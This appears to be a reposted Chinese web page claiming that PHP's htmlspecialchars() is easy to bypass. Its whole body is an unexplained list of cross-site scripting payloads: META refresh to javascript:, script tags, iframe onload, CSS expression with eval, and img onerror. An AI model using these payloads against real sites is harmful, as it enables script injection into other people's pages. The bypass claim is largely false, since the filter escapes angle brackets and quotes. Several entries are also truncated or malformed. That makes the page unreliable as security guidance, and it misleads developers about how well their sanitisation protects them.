test1

来源:互联网 发布:湖南软件企业评估 编辑:程序博客网 时间:2024/06/10 18:01
事实上绕过htmlspecialchars()的过滤是非常简单的,这里有一些绕过过滤的方法: 
<META HTTP-EQUIV=/"refresh/" CONTENT=/"0; 
URL=http://;URL=javascript:alert('XSS');/"> 

<META HTTP-EQUIV=/"refresh/" 
CONTENT=/"0;url=javascript:alert('XSS');/"> 

'">><marquee><h1>XSS</h1></marquee> 

'">><script>alert('XSS')</script> 

'>><marquee><h1>XSS</h1></marquee> 

"><script alert(String.fromCharCode(88,83,83))</script> 

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe> 

<div 
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo 
de(88,83,83));'))"> 

window.alert("Xyli !"); 

"/></a></><img src=1.gif onerror=alert(1)> 

[color=red']mouse over 

<body 

<body> 

click me 

<script language="JavaScript">alert('XSS')</script> 

<img src="javascript:alert('XSS')"> 

'); alert('XSS 


0 0
原创粉丝点击